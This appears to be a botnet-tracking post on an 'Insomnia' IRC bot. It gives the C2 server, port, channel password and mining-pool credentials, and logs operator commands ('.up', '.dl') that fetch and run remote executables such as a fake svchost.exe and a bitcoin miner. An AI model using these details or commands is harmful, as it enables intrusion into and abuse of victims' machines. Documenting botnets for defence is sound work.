vandersand.no-ip.biz (Insomnia ircbot hosted by United States Clarks Summit Volumedrive)

Resolved vandersand.no-ip.biz to 199.115.230.138

Server: vandersand.no-ip.biz
Port:  6654
Channel: #Insomnia
Channel password: frosty
* Topic for #Insomnia is: .up hxxps://dl.dropbox.com/u/21829907/botseller.exe 449C6FB8390C7148B075A52EBEBAB4F5
* Topic for #Insomnia set by lucky at Thu Sep 06 22:08:10 2012
Botnick: {IT|XP-32a}uwryxvf

While I was in the channel he downloaded a bitcoin miner
Dextermania.exe  hxxp://versx.net/x/bcm/bitcoin-miner.exe
http://pool.bitclockers.com:8332 -u Dexter -p 19930924

Hosting infos: http://whois.domaintools.com/199.115.230.138

Thanks to anonymous commentor for the file

Edit:
Good installs would buy again 100%
<Lucky> .ruskill on
<Lucky> .dl hxxps://dl.dropbox.com/u/26953589/HackForums/Servers/paelex/svchost.exe -t 100000